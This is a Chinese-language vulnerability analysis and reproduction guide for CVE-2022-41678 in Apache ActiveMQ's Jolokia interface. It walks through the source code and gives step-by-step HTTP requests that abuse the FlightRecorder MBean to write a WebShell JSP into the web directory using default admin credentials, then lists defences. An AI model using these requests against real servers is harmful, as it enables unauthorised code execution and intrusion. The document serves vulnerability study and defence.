Apache ActiveMQ jolokia 远程代码执行漏洞分析(CVE-2022-41678)
字数 1700 2025-08-18 11:36:48
Apache ActiveMQ Jolokia 远程代码执行漏洞分析(CVE-2022-41678) 教学文档
一、漏洞概述
本漏洞存在于Apache ActiveMQ的Jolokia接口中,允许攻击者通过构造特定的JMX请求,利用JDK Flight Recorder功能实现远程代码执行。漏洞编号为CVE-2022-41678,影响范围包括特定版本的Apache ActiveMQ。
二、漏洞分析
2.1 漏洞入口点
漏洞位于/api/jolokia接口,对应的Servlet是org.jolokia.http.AgentServlet。
2.2 请求处理流程
- 请求首先由
AgentServlet的handleSecurely()方法处理 - 调用
pReqHandler.handleRequest(pReq, pResp) - 创建
ServletRequestHandler对象处理POST请求 extractJsonRequest方法从POST请求中提取JSON数据- 使用
JmxRequestFactory创建JmxRequest对象 - 调用
executeRequest处理请求 - 通过
backendManager.handleRequest分发请求 - 最终由
ExecHandler处理EXEC类型的请求
2.3 关键执行逻辑
ExecHandler.doHandleRequest方法的核心流程:
public Object doHandleRequest(MBeanServerConnection server, JmxExecRequest request)
throws InstanceNotFoundException, AttributeNotFoundException,
ReflectionException, MBeanException, IOException {
// 1. 提取目标MBean中操作的名称、参数类型等元信息
OperationAndParamType types = this.extractOperationTypes(server, request);
// 2. 准备参数数组
int nrParams = types.paramClasses.length;
Object[] params = new Object[nrParams];
List<Object> args = request.getArguments();
// 3. 验证参数数量、类型是否匹配
this.verifyArguments(request, types, nrParams, args);
// 4. 参数类型转换
for(int i = 0; i < nrParams; ++i) {
if(types.paramOpenTypes != null && types.paramOpenTypes[i] != null) {
// 处理复杂类型
params[i] = this.converters.getToOpenTypeConverter()
.convertToObject(types.paramOpenTypes[i], args.get(i));
} else {
// 处理基本类型
params[i] = this.converters.getToObjectConverter()
.prepareValue(types.paramClasses[i], args.get(i));
}
}
// 5. 调用目标MBean方法
return server.invoke(
request.getObjectName(),
types.operationName,
params,
types.paramClasses);
}
该方法允许动态调用JMX服务器中注册的任何MBean的方法,这是漏洞利用的关键。
三、漏洞利用原理
3.1 利用FlightRecorderMXBean
漏洞利用的核心是通过jdk.management.jfr:type=FlightRecorder MBean实现RCE。补丁中新增了对该MBean的限制,证实了这一点。
3.2 关键方法分析
-
newRecording()
- 创建新的Recording对象并返回ID
- 代码片段:
public long newRecording() { MBeanUtils.checkControl(); getRecorder(); // 确保通知监听器已设置 return AccessController.doPrivileged( new PrivilegedAction<Recording>() { @Override public Recording run() { return new Recording(null, new FlightRecorderPermission("accessFlightRecorder")).getId(); } }); }
-
setConfiguration(long recording, String configuration)
- 设置Recording的配置
- 可以构造包含WebShell的配置文件
- 代码片段:
public void setConfiguration(long recording, String configuration) throws IllegalArgumentException { Objects.requireNonNull(configuration); MBeanUtils.checkControl(); try { Configuration c = Configuration.create(new StringReader(configuration)); getExistingRecording(recording).setSettings(c.getSettings()); } catch (IOException | ParseException e) { throw new IllegalArgumentException("Could not parse configuration", e); } }
-
startRecording(long id)
- 开始记录事件
- 代码片段:
public void startRecording(long id) { MBeanUtils.checkControl(); getExistingRecording(id).start(); }
-
stopRecording(long id)
- 停止记录事件
- 代码片段:
public boolean stopRecording(long id) { MBeanUtils.checkControl(); return getExistingRecording(id).stop(); }
-
copyTo(long recording, String path)
- 将记录数据保存到指定路径
- 关键点:未对路径进行限制,可路径穿越
- 代码片段:
public void copyTo(long recording, String path) throws IOException { Objects.requireNonNull(path); MBeanUtils.checkControl(); getExistingRecording(recording).dump(Paths.get(path)); }
四、完整利用流程
- 调用
newRecording方法创建新的Recording对象,获取ID - 调用
setConfiguration方法,设置包含WebShell的配置文件- 配置文件中的键名插入WebShell代码
- 需要将XML数据进行转义处理
- 调用
startRecording开始记录 - 调用
stopRecording停止记录 - 调用
copyTo方法,将数据写入web目录下的JSP文件 - 访问写入的WebShell执行命令
五、漏洞复现步骤
5.1 构造请求
-
调用newRecording获取ID
POST /api/jolokia/ HTTP/1.1 Host: target:8161 Authorization: Basic YWRtaW46YWRtaW4= Content-Type: application/json { "type": "EXEC", "mbean": "jdk.management.jfr:type=FlightRecorder", "operation": "newRecording", "arguments": [] } -
调用setConfiguration
- 构造包含WebShell的配置文件
- 需要转义XML中的特殊字符
-
开始录制
POST /api/jolokia/ HTTP/1.1 Host: target:8161 Authorization: Basic YWRtaW46YWRtaW4= Content-Type: application/json { "type": "EXEC", "mbean": "jdk.management.jfr:type=FlightRecorder", "operation": "startRecording", "arguments": [1] // 使用上一步获取的ID } -
停止录制
POST /api/jolokia/ HTTP/1.1 Host: target:8161 Authorization: Basic YWRtaW46YWRtaW4= Content-Type: application/json { "type": "EXEC", "mbean": "jdk.management.jfr:type=FlightRecorder", "operation": "stopRecording", "arguments": [1] } -
写入WebShell
POST /api/jolokia/ HTTP/1.1 Host: target:8161 Authorization: Basic YWRtaW46YWRtaW4= Content-Type: application/json { "type": "EXEC", "mbean": "jdk.management.jfr:type=FlightRecorder", "operation": "copyTo", "arguments": [1, "/path/to/webapps/admin/shell.jsp"] }
5.2 访问WebShell
访问写入的JSP文件执行命令:
http://target:8161/admin/shell.jsp
六、防御措施
- 升级到修复版本
- 修改jolokia-access.xml文件,限制对敏感MBean的访问
- 禁用不必要的JMX接口
- 加强认证机制
七、总结
该漏洞利用ActiveMQ中Jolokia接口对JMX请求的处理机制,结合JDK Flight Recorder的功能,通过构造特定的请求序列实现远程代码执行。关键在于:
- Jolokia接口允许动态调用任意MBean方法
- FlightRecorderMXBean的copyTo方法未对路径进行限制
- 可以通过配置文件注入恶意代码
理解这些关键点有助于更好地防御类似漏洞。